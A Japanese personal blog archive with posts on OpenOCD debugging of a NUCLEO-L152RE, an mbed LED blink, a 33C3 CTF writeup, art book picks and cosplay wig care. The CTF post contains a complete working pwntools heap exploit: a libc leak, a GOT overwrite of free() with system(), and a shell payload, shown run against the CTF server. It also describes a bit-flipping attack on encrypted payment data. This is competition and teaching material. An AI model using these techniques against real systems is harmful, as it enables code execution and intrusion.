ヾノ*>ㅅ<)ノシ帳

技術ブログに見せかけて、ジャンル制限のないふりーだむなブログです。

NUCLEO-L152REにわざわざST-Link v2を接続してOpenOCDで接続してみた

NUCLEO-L152REにはオンボードでST-Link v2が搭載されているため、ST-Link v2のようなUSB JTAG/SWDデバッガは必要ありません。

akizukidenshi.com

今回はわざわざST-Link v2をデバッガ、NUCLEO-L152REをターゲットとして、OpenOCDを使ってみたいという試みです。 この試みには有益性が全く無いですが、はまりどころがあったのでブログに残しておきます。

OpenOCDはgit版を使っています。

K_atc% openocd -v
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html

ピン接続

デバッガ側は、ST-LinkのSTM32と書かれた20ピンを使います。 ピンの割り当ては下の図のようになっています。

f:id:katc:20170424163240p:plain

図は ULINK2 User's Guide: Target Connectors より

Nucleo側はCN2(ST-Link)ピンに刺さっているジャンパーを外して、CN11、CN12に取り付けます。 ジャンパーを無くさないように設計されていてとてもいいですね〜

SWDの場合

f:id:katc:20170424162753p:plain

CN2を上から(USBポートがある方を上にする)ピン1、ピン2、ピン3、ピン4とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。

Nucleo側 ST-Link側
1 1 (VCC)
2 9 (SWCLK)
3 4 (GND)
4 7 (SWDIO)

JTAGの場合(試行中)

CN4を上から(USBポートがある方を上にする)ピン1、ピン2、…、ピン6とします。 メスーメスのジャンパーコードを下表の対応関係で接続します。
※をつけたポートはCN2のポートを使用したほうがいいかもしれないです?(OpenOCDに target voltage may be too low for reliable debugging と怒られてしまう)

Nucleo側 ST-Link側
1 1 (VCC) ※
2 9 (JTCK) ※
3 4 (GND) ※
4 7 (TMS/JDIO) ※
5 3 (nRST)
6 13 (TDO/SWO)

OpenOCD

ダメな接続例:USB電源を2箇所からとる

openocdのどのスクリプトファイルを使えばいいのかわかりませんでした。 最初はオンボードのデバッガに接続してしまわないように、Nucleoの電源は別のPCからとっていました。 そしたらOpenOCDの起動時のチェックで、ターゲットの電圧が0Vだったり1.5V以下だったりしてエラーになりました。 GNDのレベルがST-LinkとNucleoで違うからなんでしょうね。

よい接続例:USBを同じところからとる

2本のUSBを同じPCに接続するということです。

OpenOCDのスクリプトファイル(-fオプションで渡すファイル)を次の要領で作成しました。 ベースのディレクトリはインストール先によって変わるかもしれません。

# openocd -s /usr/share/openocd/scripts -f interface/stlink-v2.cfg -f target/stm32l1.cfg
# でもよい。 [f:id:katc:20170424162753p:plain]
cat /usr/share/openocd/scripts/interface/stlink-v2.cfg /usr/share/openocd/scripts/target/stm32l1.cfg > stlink-v2-stm32l1.cfg

SWD/JTAGのどちらの場合も、cfgファイルが対応しているはずなのにjtagで接続できない…

あとはopenocdコマンドを叩いて、デバッガのランプが緑と赤で交互に点滅したら接続完了です。

[root@K_atc nucleo-l152re]# openocd -f stlink-v2-stm32l1.cfg 
Open On-Chip Debugger 0.10.0-dev-00411-g607edef (2016-11-05-14:18)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.org/doc/doxygen/bugs.html
Info : auto-selecting first available session transport "hla_swd". To override use 'transport select <transport>'.
adapter speed: 300 kHz
adapter_nsrst_delay: 100
Info : The selected transport took over low-level target control. The results might differ compared to plain JTAG/SWD
none separate
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : Unable to match requested speed 300 kHz, using 240 kHz
Info : clock speed 240 kHz
Info : STLINK v2 JTAG v27 API v2 SWIM v6 VID 0x0483 PID 0x3748
Info : using stlink api v2
Info : Target voltage: 3.183191
Info : stm32l1.cpu: hardware has 6 breakpoints, 4 watchpoints

参考

STM32NucleoでLチカ(mbed/C++)

時間がないので手短にまとめます。

必要なもの

  • STM32のNucleo(僕は、NUCLEO-L152REを使用)
  • USB Mini-B ケーブル
  • mbed(僕はARMmbed/mbed-osのmake.pyをビルドツールとして使用)

調査

NucleoのLD2(緑色のユーザー用LED)のポートを調べる

NucleoのUser ManualからPA5、つまりマイコンから見てPortA[5]だと分かります。

f:id:katc:20170115160519p:plain

PortAのベースアドレスと中身を調べる

STM32LのデータシートからPortAのベースアドレスが0x4002_0000と分かります。

f:id:katc:20170115161258p:plain

PortAが割り当てられた領域のレジスタ割り当ては、以前STM32F7のときと変わらないと思ったのでそのときに判明したことを参考にしました(細かいことはソースコード参照)。

katc.hateblo.jp

Lチカコード(main.cpp)

#include "mbed.h"

#define DURATION 0.15

#define PORT_A (0x40020000)
#define MODER (0x0)
#define ODR (0x14)
#define PORT_A_ODR ((volatile int*)(PORT_A + ODR))
#define PORT_A_MODER ((volatile int*)(PORT_A + MODER))


void ld2_on() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur | 1 << 5;    
}

void ld2_off() {
    volatile int* cur = (volatile int *) (PORT_A + ODR);
    *PORT_A_ODR = *cur & ~(1 << 5);
}

// ↓やらなくても動く。この関数の処理は嘘なのでやってはいけない
void init_ld2() {
    // output mode 
    volatile int* cur = (volatile int *) (PORT_A + MODER);
    *PORT_A_MODER = *cur | 1 << (2 * 5); // PA5
    ld2_off();
}

int main() {
    for(int i = 0; i < 1000; i++) {
        ld2_on();        
        wait(DURATION);
        ld2_off();        
        wait(DURATION);
    }
    ld2_on();
    return 0;
}

参考

33C3 CTF - babyfengshui (pwn150) ほかの writeup

2016/12/29 5:00から48時間開催の33C3 CTFPing-Mic(今回は新人くんと2人)で参加しました。 結果は91位で525点です。次の問題を解きました。

  • babyfengshui (pwn150)
  • exfill (for100)
  • pdfmacker (misc75)

で、pay2pwn (web200)とかいう典型的な問題をアシストして終わりです。

babyfengshui

ユーザー管理をする帳簿を模したプログラムがpwnの対象。

疑似Cコード:

struct STRUCT_USERS {
    STRUCT_USER* user;
};

struct STRUCT_USER {
    // char* description;
    char* text;     // 
    char[] name;    // size = 0x7c
}; // size = 0x80

users[0]->name == users + 4

int number_of_X; // 0x804b069, starts with 0
STRUCT_USERS users; // 0x804b080

void getText(char* arg0, int arg1) { // 0x80486bb
    var_C = *0x14;
    fgets(arg0, arg1, *stdin);
    var_10 = strchr(arg0, 0xa);
    if (var_10 != 0x0) {
            *(int8_t *)var_10 = 0x0;
    }

    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

void Update(int arg0) {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C >= (number_of_X & 0xff)) || (users[var_1C] == 0x0)) goto update_exit;

loc_804875e:
    printf("text length: ");
    // __isoc99_scanf("%u%c", 0x0, var_11);
    __isoc99_scanf("%u%c", 0x0, var_11, var_10);
    // esp = (esp - 0xc - 0x4) + 0x10;
    if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

loc_80487cd:
    printf("text: ");
    getText(users[var_1C]->text, 0x7c);
    goto update_exit;u

update_exit:
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


void Add(int arg0) {
    var_C = *0x14;
    var_14 = malloc(arg0); // arg0 is desicription size
    memset(var_14, 0x0, arg0);
    var_10 = malloc(0x80);
    memset(var_10, 0x0, 0x80);
    *var_10 = var_14; // users[i]->text = var_14
    users[number_of_X] = var_10;
    printf("name: ");
    eax = *(int8_t *)number_of_X & 0xff;
    eax = *((eax & 0xff) * 0x4 + users);
    getText(eax + 0x4, 0x7c);
    number_of_X += 1;
    Update(number_of_X - 1);

    eax = var_10;
    ecx = var_C ^ *0x14;
    COND = ecx == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Delete {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            eax = *eax;
            free(eax);
            eax = *((var_1C & 0xff) * 0x4 + users);
            free(eax);
            *((var_1C & 0xff) * 0x4 + users) = 0x0;
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}

function Display {
    var_1C = arg0;
    var_C = *0x14;
    if ((var_1C < (*(int8_t *)number_of_X & 0xff)) && (*((var_1C & 0xff) * 0x4 + users) != 0x0)) {
            eax = *((var_1C & 0xff) * 0x4 + users);
            printf("name: %s\n", users[var_1C]->name);
            // eax = *((var_1C & 0xff) * 0x4 + users);
            // eax = *eax;
            printf("description: %s\n", users[var_1C]->description);
    }
    eax = var_C ^ *0x14;
    COND = eax == 0x0;
    if (!COND) {
            eax = __stack_chk_fail();
    }
    return eax;
}


int main() {
    eax = *stdin;
    setvbuf(eax, 0x0, 0x2, 0x0);
    eax = *stdout;
    setvbuf(eax, 0x0, 0x2, 0x0);
    alarm(0x14);
    esp = (((esp - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    goto loc_8048a68;

loc_8048a68:
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    esp = (((((((esp - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10;
    if (__isoc99_scanf("%d", var_14) != 0xffffffff) goto loc_8048aeb;

loc_8048ae1:
    eax = exit(0x1);
    return eax;

loc_8048aeb:
    if (var_14 == 0x0) {
            printf("size of description: ");
            __isoc99_scanf("%u%c", var_10, var_15);
            Add(var_10);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x4 - 0x4 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x1) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Delete(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x2) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Display(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 == 0x3) {
            printf("index: ");
            __isoc99_scanf("%d", var_10);
            Update(var_10 & 0xff);
            esp = (((esp - 0xc - 0x4) + 0x10 - 0x8 - 0x4 - 0x4) + 0x10 - 0xc - 0x4) + 0x10;
    }
    if (var_14 != 0x4) goto loc_8048c05;

loc_8048beb:
    puts("Bye");
    eax = exit(0x0);
    return eax;

loc_8048c05:
    if ((*(int8_t *)0x804b069 & 0xff) <= 0x31) goto loc_8048a68;

loc_8048c14:
    puts("maximum capacity exceeded, bye");
    eax = exit(0x0);
    return eax;
}

思考

  • 簡単にはヒープBOFができないか、他のチャンクを書き換えられるほど十分でない
  • free()の後にポインタをNull化しているため、double freeやUAF不可
  • ⇒"思い込み"に漬け込んでBOFして、隣接するチャンクを書き換える(=ポインタ書き換え)ことを目指す

思い込み(意図的に作り込まれたバグ)

if (users[var_1C]->text + var_10 < users[var_1C] - 0x4) goto loc_80487cd;

loc_80487b3:
    // ex. var_11 == 1145141919
    puts("my l33t defenses cannot be fooled, cya!");
    eax = exit(0x1);
    return eax;

このBOFのチェックは脆弱である。なぜなら、ユーザーnのdescriptionのチャンクとuser[n]のチャンクが隣接していることを前提にしているからである。 よって、図の(1)〜(3)の手順により、既存のチャンクは書き換え可能となり、同時にuser[1]がもつポインタを書き換え可能となる。 図の先が欠けた矢印はメモリ上での順序関係を示し、矢印はポインタを意味する。

f:id:katc:20161230163417p:plain

方針

  • ポインタ書き換えからの任意データ書き込みを実現(上図の(1)〜(3))
  • GOT書き換えからのsystem("/bin/sh")呼び出し(上図の(4))
    • free(buf)system("/bin/sh")と同等にする

Exploit Code

from pwn import *
from sys import argv
from os import system

BIN = "./babyfengshui"
BIN_PATCHED = BIN + ".patched"

def bp():
    global REMOTE
    if not REMOTE:
        raw_input("break point: ")

PATCH = False
REMOTE = False
if len(argv) > 1:
    if argv[1] == "patch":
        PATCH = True
    elif argv[1] == "r":
        REMOTE = True

"""
08048a5e 6A14                            push       0x14                        ; argument "seconds" for method j_alarm
08048a60 E8ABFAFFFF                      call       j_alarm
"""
if PATCH:
    with open(BIN) as f:
        b = f.read()
        b = b.replace("\x6a\x14\xE8\xAB\xFA\xFF\xFF", "\x6a\x00\xE8\xAB\xFA\xFF\xFF")
        with open(BIN_PATCHED, "wb") as f2:
            f2.write(b)
        system("chmod +x " + BIN_PATCHED)
    exit()

r = None
# e = ELF(BIN)
offset = {}
if REMOTE:
    """
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " printf@"
       640: 0004cc50    52 FUNC    GLOBAL DEFAULT   12 printf@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ readelf -s libc-2.19.so | grep " system"
      1443: 0003e3e0    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
    [katc@K_atc babyfengshui]$ strings -tx libc-2.19.so | grep "/bin/sh$"
     15f551 /bin/sh
    """
    r = remote("78.46.224.83", 1456)
    offset = {"printf": 0x4cc50, "system": 0x3e3e0, "/bin/sh": 0x15f551}
else:
    """
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " printf@"
       647: 0004a020    42 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.0
    [katc@K_atc lib32]$ readelf -s libc.so.6| grep " system@"
      1460: 0003af40    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0
    [katc@K_atc lib32]$ strings -tx libc.so.6| grep "/bin/sh$"
     15ef08 /bin/sh
    """
    # r = process(BIN_PATCHED)
    r = process(BIN)
    offset = {"printf": 0x4a020, "system": 0x3af40, "/bin/sh": 0x15ef08}

count = 0
def Add(size_description, name, size_text, text):
    global count
    r.recvuntil("Action: ")
    r.sendline("0")
    r.recvuntil("size of description: ")
    r.sendline(str(size_description))
    r.recvuntil("name: ")
    r.sendline(name)
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    res = r.recv(1024)
    if res == "my l33t defenses cannot be fooled, cya!\n":
        log.error("GAME OVER: %s" % res.strip('\n'))
        exit()
    r.sendline(text)
    count += 1

def Delete(index):
    r.recvuntil("Action: ")
    r.sendline("1")
    r.recvuntil("index: ")
    r.sendline(str(index))

def Display(index):
    r.recvuntil("Action: ")
    r.sendline("2")
    r.recvuntil("index: ")
    r.sendline(str(index))
    name = r.recvline().split(':')[1][1:].strip('\n')
    description = r.recvline().split(':')[1][1:].strip('\n')
    return (name, description)

def Update(index, size_text, text):
    r.recvuntil("Action: ")
    r.sendline("3")
    r.recvuntil("index: ")
    r.sendline(str(index))
    r.recvuntil("text length: ")
    r.sendline(str(size_text))
    r.recvuntil("text: ")
    r.sendline(text)

def Exit():
    r.recvuntil("Action: ")
    r.sendline("4") 
    r.recvuntil("Bye\n")

def DisplayAll():
    for i in range(count):
        name, description = Display(i)
        print "[%2d] name = %r (%#x)" % (i, name, len(name))
        print "[%2d] description = %r (%#x)" % (i, description, len(description))

# context.log_level = 'debug'

plt = {"fgets": 0x8048500, "strchr": 0x08048560}
"""
gdb-peda$ x/i 0x08048560
   0x8048560 <strchr@plt>:  jmp    DWORD PTR ds:0x804b02c
"""
got = {"printf": 0x804b00c, "free": 0x804b010, "strchr": 0x804b02c}

# name_len = 0x7b
name_len = 0x10 # anti 20 sec limit
# bp()

log.info("=== [prepare] ===") # (1)から(3)まで
Add(0x20, "1"*name_len, 0x23, "A"*0x23) # 0
Add(0x20, "2"*name_len, 0x20, "B"*0x20) # 1
Add(0x20, "3"*name_len, 0x23, "/bin/sh -c 'ls; cat flag.txt; bash'") # 2
Delete(0)
# DisplayAll()

log.info("=== [info leak] ===") 
LEAK_FUNC = "printf"
Add(0x40, "4"*name_len, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "A"*4,                  # chunk header
    p32(got[LEAK_FUNC]),    # 
    "LEAK",
    ]))

DisplayAll()

name, description = Display(1)
print "description = %r" % description
addr = u32(description[:4])
libc_base_addr = addr - offset[LEAK_FUNC]
system_addr = libc_base_addr + offset["system"]
bin_sh_addr = libc_base_addr + offset["/bin/sh"]
print "libc base address = %#x" % libc_base_addr
print "%s() = %#x" % (LEAK_FUNC, addr)
print "system() = %#x" % system_addr
print "'/bin/sh' = %#x" % bin_sh_addr

log.info("=== [got overwrite] ===") # (4)
Update(3, 0x90+32+8, ''.join([ # 3
    "D"*(0x90+28),          # padding
    "X"*4,                  # chunk header
    # p32(got["strchr"]),     # X()
    p32(got["free"]),     # X()
    "GOTw",
    ]))
# DisplayAll()
bp()
Update(1, 10, p32(system_addr)) # X() <= system()

log.info("=== [trigger shell] ===")
Delete(2) # system("/bin/sh")

context.log_level = 'warn'
r.interactive()

20秒制限があるため、通信は手短に済まさねばならない点がポイント。

[katc@K_atc babyfengshui]$ python2 babyfengshui.py r
[+] Opening connection to 78.46.224.83 on port 1456: Done
[*] === [prepare] ===
[*] === [info leak] ===
[ 0] name = 'Add a user' (0xa)
[ 0] description = 'Delete a user' (0xd)
[ 1] name = 'LEAK' (0x4)
[ 1] description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7' (0x34)
[ 2] name = '3333333333333333' (0x10)
[ 2] description = "/bin/sh -c 'ls; cat flag.txt; bash'" (0x23)
[ 3] name = '4444444444444444' (0x10)
[ 3] description = 'DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA\x0c\xb0\x04\x08LEAK' (0xb8)
description = 'P\xdc_\xf7\xf0pb\xf7\xa0Ba\xf7P|f\xf7&\x85\x04\x08`kb\xf7\x80]a\xf7V\x85\x04\x08@\\d\xf7p\xa9\\\xf7pda\xf7\xf0\xc5m\xf7 !a\xf7'
libc base address = 0xf75b1000
printf() = 0xf75fdc50
system() = 0xf75ef3e0
'/bin/sh' = 0xf7710551
[*] === [got overwrite] ===
[*] === [trigger shell] ===
babyfengshui
flag.txt
33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

flag: 33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1

exfill

DNSを使ってデータを送受信していることが自明。Server.pyを丁寧に読み取ってscapyを使ってデータを変換して終了。やるだけ。

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pdfmaker

最近発覚したTeX関連の脆弱性を利用した問題。これを知っていた(出るだろうなと思ってた)ので、問題文を見ただけで解き方が分かった。これもやるだけ。

外部コマンドの実行 - TeX Wiki

具体的には33C3 CTF 供養(Writeup) - ももいろテクノロジー に同じ。

pay2pwnのアシスト内容

クレジットカード番号を入力すると、商品を購入できる。 商品はcheapという無条件に購入できるものと、flagという通常は購入できないものの2種類がある。 この場合は、cheapでいろいろ攻撃してみてあたりを付けるのが正攻法。

リクエストを飛ばすと、URLクエリにdataというパラメータがあることが分かる。 未購入の状態での2回分のアクセスのURLは次の通り。

http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7e5261df9e28804963b5b0554edda4f8828df361f896eb3c3706cda0474915040
http://78.46.224.78:5001/pay?data=5e4ec20070a567e0f3d9ab21d10633a7a39ae7d3a1b9fd303b5b0554edda4f8828df361f896eb3c3706cda0474915040

タイミングによらず、未購入であれば同じdataが入りそうだ。

次に2種類のクレジットカード番号(これはダミー)でcheapを買ってみたときのURLを調べた。

### 4929990005949674
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c88187d54e1bf2760728df361f896eb3c3706cda0474915040

### 4024007103302005
http://78.46.224.78:5000/payment/callback?data=5765679f0870f4309b1a3c83588024d7c146a4104cf9d2c89559d4e580fe28ef28df361f896eb3c3706cda0474915040

注意深く見ると、次のことが分かる。

  • dataはhexエンコードされたデータ。暗号文の可能性が高い
  • 購入できたときのdataで比較すると、dataの中央部だけ一致しない。ここにクレジットカード番号が入っていると見られる

dataには購入結果が入ることが予想できるため、bit flippingという攻撃方法により、statusを改竄するように提案した。 あとはcrypto担当の新人くんが30分くらいで解いてくれた。優秀(まだCTF初めて1ヶ月位なんだぜ?)。


ほんとESPRとthe 0x90 called解いて周りと差を付けたかった…

【イラスト】人物画の良書に目を向けてみた

お絵かき練習してても伸び悩みを感じるので、ネットで解説を探し回ったが、やはりそんなのはもう知ってるんだよっていうものしが出てこないので、 美術書・技法書に目を向けていこう!という気持ちになった。 何をしようかと悩むので、手元にある本を振り返りつつ良さげな本を漁ってみた。 収穫として1冊よさげなのが見つかった!

「後発の本」と表現したものは数年以内に発売された本(再販除く)を指す。
「○○(本)をやる」という表現は、読んで主張を理解した上で模写し、納得することを指す。
【未読】は手元にない本を指す。

※美術に関しては、人によって言っていることが違うということが割とよく起こるので、誰の言うことを信じるのかを決めたほうがいいと思います。 たとえば、「いちあっぷ講座」(その記事思い出せない)と「ハム本」とで斜め角度からの肩の描き方で相反する説明があった。

人物画のおすすめ本

はっきり言って、基本的に人物画においては後発の本はあまりおすすめできない。 数冊買ったり、Amazonでプレビューできるものを見たりしたが、ここで紹介するような本の情報量に及んでいない。

人体のデッサン技法(ジャック・ハム)

人体のデッサン技法

人体のデッサン技法

ハム本とも呼ばれる。人体比率、各部位のポイントを抑えた作例があり、超入門的な内容である。 全くの絵の入門者はこの本をしっかりやるとGood。

やさしい人物画(A・ルーミス

やさしい人物画

やさしい人物画

ハム本をやり終えた時におすすめ。pixivの講座を参考にする前にこれをやれという感じ。 pixivの講座が参考にならないのではない。効率性の問題。

(あんままともにやってないとはいえない…)

【未読】アーティストのための美術解剖学―デッサン・漫画・アニメーション・彫刻など、人体表現、生体観察をするすべての人に(ヴァレリー・L. ウィンスロゥ)

描き方伝授でなく、あくまで図鑑的。内容は解剖学寄り。 pixivで講座としてこのようなことが解説されていることが多いが、この一冊ちゃんとやったほうが楽かもしれない。

【未読】Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Burne Hogarth)

Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Practical Art Books)

Dynamic Figure Drawing: A New Approach to Drawing the Moving Figure in Deep Space and Foreshortening (Practical Art Books)

美術的でなく、漫画的な描き方を重点に置いた本。アニメーター向けの本として紹介されることが多い。

日本語版があった気がするけど、何らかの理由でペーパーバック版がおすすめされていたと記憶。 ペーパーバック版は2年前くらいに復活した。 説明文が短いので英語でも問題ないはず。

ほか

行き詰まった時にこの辺やるといいよ。

スーパーマンガデッサン―作画のための考えるデッサン

スーパーマンガデッサン―作画のための考えるデッサン

模写のネタになる本

どの作品の本にするかは自分がその作品やキャラが好きかどうかでいいと思う。

電脳コイル ビジュアルコレクション

原画集。アニメーター志望者におすすめされる本。 (一時期入手不能になってたのが、数年前に再販された記憶がある)

各アニメの設定資料集・原画集

アニメにおける顔作画について徹底的に研究したいならこういう本を買うと良い。 diomediaやP.A.Worksやカラーがよく販売している。

僕は顔が全然うまく描けなかった時に『俺の脳内選択肢が、学園ラブコメを全力で邪魔している 設定資料集』をよく模写していた。 前髪が顔の角度によってどう変化するのかについてはとても勉強になった。

ヌードポーズ集

スーパー・ポーズブック  ヌード編 (コスミック・アート・グラフィック)

スーパー・ポーズブック ヌード編 (コスミック・アート・グラフィック)

この辺を徹底的に模写した漫画家の話が出たりする。(僕は未経験)

(僕のための)結論

ということで

買って、

  • やさしい人物画

をやり直そうかな(目指せ神絵師)

一日遅れのメリークリスマス(友利奈緒より)

ついに友利奈緒 Advent Calandar は25日目を迎えました!(1日遅れ)

瞑想迷走30分+線画1時間+塗り4時間で簡単なお祝いイラストを描きました。メリークリスマス!

www.pixiv.net

来年も友利奈緒をよろしくお願いしまーす

f:id:katc:20161226170035j:plain

あとがき

普段はスケッチブックに描いた線画をスキャナで取り込んでから、Photoshopで線画を抽出するのですが、 スケッチブックの方でクリーンナップを十分にやってもギザギザしてしまうのですよね。Sketch Simplification・ラフスケッチの自動線画化 を使えばアナログ線画をスムーズにできるのですが、また使い忘れてしまいました(てへぺろ

使用画材・ツール:

例の友利奈緒風ウィッグの髪型のセット方法のメモ

こちらは 友利奈緒 Advent Calandar 2016 22日目の記事です。 今日はAmazonで3000円ぐらいで買える友利奈緒風ウィッグのセット方法のメモを晒します。 メモには値段以上の価値を引き出すための工夫も書いてあります。

前髪

友利奈緒の前髪は下の写真のようにまとまってませんが、普段はこのようにまとめておくとブラシを入れるなどの手入れがしやすいです。 私は着用したときに友利奈緒の前髪になるように毛をまとめ直しています。

f:id:katc:20161220171805j:plain

サイド髪

サイド髪は下の写真の緑色で着色したように取っています。分かりやすいように写真では、サイド髪をヘアゴムでまとめています。 顔の輪郭をごまかしたいので設定よりは多めに毛を取っています。

f:id:katc:20161220172014j:plain

熱?で圧着されたカール対策

下の写真の通り、このウィッグは熱か何かで雑にカールがつけられています。 ヘアアイロンで巻き髪にする通常の手順と大きく逸脱していますし、このままだとブラシを通しにくいです。 放置して着脱を繰り返すとウィッグ全体がボサボサしてきてしまいます。

f:id:katc:20161220172658j:plain

しかし下の写真の通り、接着をむりやり外すとそこがパサパサ&ボサボサで大変なことになります。 毛束を少なめに手にとり、ヘアオイルで湿潤させ、ブラシを優しく通す作業を1束10~20分のペースで繰り返せば潤艶髪なります。 このときブラシの柄の部分も使うのもありです。 私がした限りでは、一日頑張ったところで乾燥したままなので二日同じことをしないと髪が落ち着いてくれませんでした。

f:id:katc:20161220172139j:plain

次は、もともとあったカールをほとんど取り、ダメージのケアをした時の後ろ髪の写真です。 カールがだいぶゆるくなっる点を除けばだいぶいい感じです。 元よりもウェット感が出ていて気に入っています(後ろ髪の右側は直前にヘアオイルを使った手入れをしたのでオイリーですけど…)。

f:id:katc:20161220172314j:plain

参考情報

お手入れに使用したもの:


髪型を完璧にセットして、キミもモテカワ友利奈緒になろう!